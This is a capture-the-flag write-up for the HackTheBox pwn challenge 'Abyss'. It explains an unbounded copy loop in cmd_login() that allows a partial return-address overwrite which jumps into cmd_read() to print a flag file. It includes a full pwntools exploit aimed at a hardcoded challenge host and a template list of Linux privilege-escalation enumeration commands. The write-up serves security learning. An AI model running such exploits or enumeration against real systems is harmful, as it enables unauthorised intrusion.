← Back to Writeups
HTBN/APwn

Abyss

XESXOR8/23/20265 min read
#pwn#htb#n/a

Abyss

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: i_variable_manipulation, jump_to_middle_of_function, partial_ret_overwrite

Summary

Task: Buffer overflow in cmd_login() with null-terminated copy loop lacking bounds check. Solution: Manipulate loop variable i via self-propagating overflow to overwrite return address with partial address (0x4014ed) that bypasses null byte restrictions, jumping to middle of cmd_read() to read flag file.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260129_htb_abyss
  • Tags: buffer_overflow, partial_overwrite, null_byte_bypass, code_reuse
  • Indicators: while loop without bounds check, null-terminated copy, no PIE, partial RELRO
  • Source: 20260129_htb_abyss.md

Foothold

Vulnerability / Misconfiguration

  1. I_variable_manipulation
  2. Jump_to_middle_of_function
  3. Partial_ret_overwrite
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • i_variable_manipulation
  • jump_to_middle_of_function
  • partial_ret_overwrite
  • Tags: buffer_overflow, partial_overwrite, null_byte_bypass, code_reuse

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Abyss is a secret collective of tech wizards with the single-minded aim of reintroducing the technology of old to the society of today. They are so indoctrinated to this faith that they will eradicate all that stand within their way. They are now going around, mumbling something about "file transfers" and spreading unrealistic lies about unattainable goals - can you analyse their work and see what they're up to?

Binary Information

  • ELF 64-bit LSB executable, x86-64
  • No PIE (fixed addresses)
  • No canary (no stack protection)
  • NX enabled (non-executable stack)
  • Partial RELRO

Analysis

Vulnerable Code

In the cmd_login() function there's a classic buffer overflow with an interesting twist:

void cmd_login()
{
    char pass[MAX_ARG_SIZE] = {0};  // 512 bytes
    char user[MAX_ARG_SIZE] = {0};  // 512 bytes
    char buf[MAX_ARG_SIZE];          // 512 bytes
    int i;

    memset(buf, '\0', sizeof(buf));
    if (read(0, buf, sizeof(buf)) < 0)
        return;

    if (strncmp(buf, "USER ", 5))
        return;

    i = 5;
    while (buf[i] != '\0')  // <-- Vulnerability!
    {
        user[i - 5] = buf[i];
        i++;
    }
    user[i - 5] = '\0';
    // ... same for pass
}

The Problem

The loop while (buf[i] != '\0') doesn't check array bounds. When i >= 512, reading buf[i] goes beyond the buffer and reads from adjacent memory — the user array.

This creates a self-propagating overflow: data from user is copied back into user with an offset, allowing overwrite of saved_rbp and return address.

Obstacle: Null Bytes

Target addresses in the 0x40xxxx range contain null bytes (\x00), which stop the copy loop before the full address is written.

Solution

Technique: i Variable Manipulation

The key idea is to use the value in user[17] to manipulate the variable i. When the loop reads buf[i] at i >= 512, it actually reads from user. If we write the special value 0x1c to user[17], this makes i "jump" forward, skipping saved_rbp.

Target Address: 0x4014ed

Instead of jumping directly to the function start, we use address 0x4014ed — this is the jne instruction inside cmd_read():

0x4014e8:  test   eax, eax
0x4014ea:  je     0x401520      ; skip if logged_in == 0
0x4014ed:  jne    0x401500      ; <-- our target! jump to file reading

The advantage of this address: the first 3 bytes (\xed\x14\x40) don't contain null in critical positions. The fourth byte \x00 doesn't interfere since it's already in place in memory.

Exploit Logic

  1. Write 0x1c to user[17] — this makes i jump
  2. Write address bytes 0x4014ed to user[29..31]
  3. When the function returns, it jumps to jne 0x401500
  4. If eax != 0 (which is likely after our manipulations), the jump occurs
  5. The code reads filename and outputs file contents

Stack Layout

+------------------+
| buf[512]         | <- read() reads here
+------------------+
| user[512]        | <- copied from buf, overflow continues
+------------------+
| pass[512]        |
+------------------+
| i (4 bytes)      |
+------------------+
| saved_rbp        |
+------------------+
| return_addr      | <- overwrite with 0x4014ed
+------------------+

Exploit

#!/usr/bin/env python3
"""
Exploit for Abyss - Jump to jne instruction

Target: 0x4014ed (jne 0x401500)
0x4014ed = \xed\x14\x40\x00...
First 3 bytes are non-null!

If eax (from previous operation) is non-zero, it will jump to 0x401500 (file reading).
"""

from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST = "94.237.59.242"
PORT = 41542


def exploit():
    p = remote(HOST, PORT)

    # Commands
    LOGIN = p32(0)

    # Target: 0x4014ed
    # ret_addr[0] = 0xed
    # ret_addr[1] = 0x14
    # ret_addr[2] = 0x40

    # USER payload with i manipulation
    user_payload = b"A" * 17  # user[0..16]
    user_payload += bytes([0x1C])  # user[17] - makes i jump
    user_payload += b"A" * 11  # user[18..28]
    user_payload += bytes([0xED])  # user[29] - ret_addr[0]
    user_payload += bytes([0x14])  # user[30] - ret_addr[1]
    user_payload += bytes([0x40])  # user[31] - ret_addr[2]

    user_data = b"USER " + user_payload
    user_data = user_data.ljust(512, b"\x00")

    # PASS payload
    pass_data = b"PASS " + b"B" * 507
    pass_data = pass_data.ljust(512, b"\x00")

    # Filename
    filename = b"flag.txt\x00".ljust(512, b"\x00")

    # Send everything at once
    payload = LOGIN + user_data + pass_data + filename

    log.info(f"Sending {len(payload)} bytes...")
    p.send(payload)

    import time
    time.sleep(2)

    try:
        output = p.recvall(timeout=5)
        log.success(f"Output ({len(output)} bytes): {output}")

        if b"HTB{" in output:
            log.success("Found HTB flag!")
            import re
            match = re.search(rb"HTB\{[^}]+\}", output)
            if match:
                log.success(f"FLAG: {match.group().decode()}")
    except Exception as e:
        log.warning(f"Error: {e}")

    p.close()


if __name__ == "__main__":
    exploit()

Alternative Approaches

  1. Partial overwrite — overwrite only the lower bytes of return address
  2. ROP chain — if there were suitable gadgets without null bytes
  3. GOT overwrite — with a write primitive available

Lessons

  1. Null-terminated copy without bounds check = overflow
  2. Self-propagating overflow through reading from overwritten area
  3. Jumping to the middle of a function can bypass checks (logged_in check)
  4. Target address selection is critical with null byte constraints
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR